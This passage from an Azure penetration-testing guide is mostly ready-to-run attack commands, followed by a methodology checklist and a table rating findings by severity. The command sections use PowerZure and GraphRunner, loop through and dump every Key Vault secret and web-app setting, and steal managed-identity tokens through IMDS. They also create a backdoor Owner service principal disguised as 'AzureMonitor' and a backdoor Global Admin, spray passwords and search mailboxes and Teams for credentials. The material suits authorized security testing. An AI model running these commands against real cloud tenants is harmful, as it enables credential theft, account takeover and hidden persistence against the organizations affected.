12.2 PowerZure Cheat Sheet
# ─── PowerZure: Azure post-exploitation ───
# https://github.com/hausec/PowerZure
Import-Module PowerZure.ps1
# Setup:
Connect-AzAccount
Set-AzContext -Subscription SUB_ID
# Enum:
Show-AzureCurrentUser
Show-AzureStorageContent # public blobs!
Get-AzureRoleAssignments # all RBAC
Get-AzureServicePrincipalSecrets # SP secrets!
# Exploitation:
Get-AzureKeyVaultContent # dump all KV secrets!
Get-AzureRunAsAccounts # Automation Account creds
Invoke-AzureRunCommand -VM TARGET_VM -Command "whoami"
# Persistence:
Create-AzureBackdoorUser
Add-AzureSPSecret
12.3 GraphRunner — Microsoft Graph Exploitation
# ─── GraphRunner: Graph API exploitation ───
# https://github.com/dafthack/GraphRunner
Import-Module GraphRunner.ps1
# Authenticate:
Get-GraphTokens -UserPasswordAuth
Get-GraphTokens -DeviceCode
# Enumerate:
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
Get-AzureADGroups -Tokens $tokens
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
# Search for secrets:
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "password"
Invoke-SearchTeams -Tokens $tokens -SearchTerm "credentials"
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "secret"
# → Searches O365 data for sensitive keywords!
# Persistence:
Add-ApplicationPermission -Tokens $tokens -PermissionName "Mail.Read"
Invoke-InjectOAuthApp -Tokens $tokens
13. Complete Cheat Sheet
13.1 Azure Pentest Methodology
Phase 1: RECON (External)
□ Tenant discovery via HRD (login.microsoftonline.com)
□ Get Tenant ID from domain
□ AADInternals recon (services, auth type, hybrid)
□ Subdomain enum → .azurewebsites.net, .vault.azure.net
□ GitHub/code scan → TruffleHog for Azure credentials
□ Public blob storage → MicroBurst Invoke-EnumerateAzureBlobs
Phase 2: INITIAL ACCESS
□ Password spraying → MSOLSpray, o365spray (30 min intervals!)
□ Device code phishing → bypass MFA!
□ Leaked credentials/tokens in code repos
□ Public App Service misconfig
□ SSRF on Azure VM/App Service → IMDS token theft
Phase 3: ENUMERATION (Authenticated)
□ az account show + az ad signed-in-user show
□ az role assignment list → what RBAC do I have?
□ enumerate-iam equivalent → ROADtools gather
□ ScoutSuite / Prowler full audit
□ AzureHound → BloodHound for path analysis
□ Check: VMs, Storage, KeyVaults, Function Apps, Automation
Phase 4: PRIVILEGE ESCALATION
□ AzureHound → BloodHound → "Find Paths to Global Admin"
□ Check for: User Access Admin, Contributor + authz write
□ VM with privileged Managed Identity → RunCommand
□ Function App / Automation Account code injection
□ SSRF → IMDS → steal MI token → use MI permissions
Phase 5: CREDENTIAL HARVESTING
□ Key Vault secret dump
□ App Settings / Connection Strings (webapp + functionapp)
□ Automation Account credentials
□ SP secrets from App Registrations
□ IMDS token for management.azure.com + vault.azure.net
Phase 6: LATERAL MOVEMENT
□ Cross-subscription with same identity
□ Cross-tenant via multi-tenant SP
□ On-prem via Hybrid Join / AAD Connect
□ O365 via Graph token (GraphRunner)
Phase 7: PERSISTENCE
□ Create backdoor service principal + Owner role
□ Add secret to existing App Registration
□ Create backdoor user with Global Admin
□ Automation Runbook with scheduled role reassignment
13.2 One-Line Command Reference
# Who am I:
az account show && az ad signed-in-user show
# All role assignments:
az role assignment list --all -o table
# Dump all app settings (secrets!) from all webapps:
for app in $(az webapp list --query "[].name" -o tsv); do
echo "=== $app ===";
az webapp config appsettings list --name $app --resource-group $(az webapp show --name $app --query resourceGroup -o tsv) 2>/dev/null;
done
# Steal MI token (from inside VM):
curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -H "Metadata: true"
# Dump ALL Key Vault secrets:
for kv in $(az keyvault list --query "[].name" -o tsv); do
for secret in $(az keyvault secret list --vault-name $kv --query "[].name" -o tsv 2>/dev/null); do
echo "$kv/$secret: $(az keyvault secret show --vault-name $kv --name $secret --query value -o tsv 2>/dev/null)";
done
done
# Create backdoor SP with Owner:
az ad sp create-for-rbac --name "AzureMonitor" --role Owner --scopes /subscriptions/$(az account show --query id -o tsv)
# Run command on VM:
az vm run-command invoke -g RG -n VM --command-id RunShellScript --scripts "id && curl http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01\&resource=https://management.azure.com/ -H Metadata:true"
# Password spray (single round):
Invoke-MSOLSpray -UserList users.txt -Password "Spring2026!"
13.3 Common Findings Severity Reference
| Finding | Severity | Impact |
|---|---|---|
| Public blob container with sensitive data | 🔴 Critical | Data exposure |
| SSRF → IMDS → Managed Identity token | 🔴 Critical | Full subscription access |
| User Access Administrator misconfigured | 🔴 Critical | Privilege escalation to Owner |
| Key Vault readable by low-priv identity | 🔴 Critical | All secrets exposed |
| Global Admin without MFA | 🔴 Critical | Full tenant compromise |
| App Settings containing credentials | 🟠 High | Credential theft |
| Overprivileged Managed Identity | 🟠 High | Privilege escalation |
| Storage account key in code/config | 🟠 High | Full storage access |
| Legacy auth protocols enabled | 🟠 High | MFA bypass |
| Public IP on VM with RDP/SSH open | 🟠 High | Exposed service |
| Contributor without MFA | 🟡 Medium | Resource compromise |
| Weak Conditional Access policies | 🟡 Medium | Auth bypass risk |
| Stale service principal secrets | 🟡 Medium | Orphaned access |